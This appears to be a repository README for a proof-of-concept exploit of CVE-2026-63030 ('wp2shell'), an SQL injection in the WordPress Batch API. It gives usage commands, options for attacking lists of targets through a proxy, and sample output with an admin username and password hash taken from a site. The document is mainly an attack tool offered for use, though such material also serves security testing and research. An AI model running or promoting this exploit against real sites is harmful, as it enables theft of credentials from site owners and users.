4minx/cve-2026-63030CVE-2026-63030 (wp2shell) POC.
WordPress Batch API Desynchronization SQL Injection Exploit
Proof of Concept tool for extracting users and password hashes via the CVE-2026-63030 (wp2shell) vulnerability.
python POC.py <target_url> [options]
python POC.py --rest-route http://target.com
| Argument | Description | Default |
|---|---|---|
target | Single target URL | - |
-l, --list | File with list of targets (one per line) | - |
--prefix | Database table prefix | wp_ |
--rest-route | Use ?rest_route= | Disabled |
--timeout | Request timeout (seconds) | 30 |
--proxy | HTTP proxy (Burp/ZAP compatible) | None |
--max-len | Maximum extraction length | 255 |
[*] Scanning: http://127.0.0.1/
[*] 1 users found
[+] ID:1 User:admin Hash:$wp$2y$10$Z6gwPduKb7wAbm0bHht1be7SxrgbyxgnbPmTVcVz9nP1KBX811xQy
[*] Requests: 553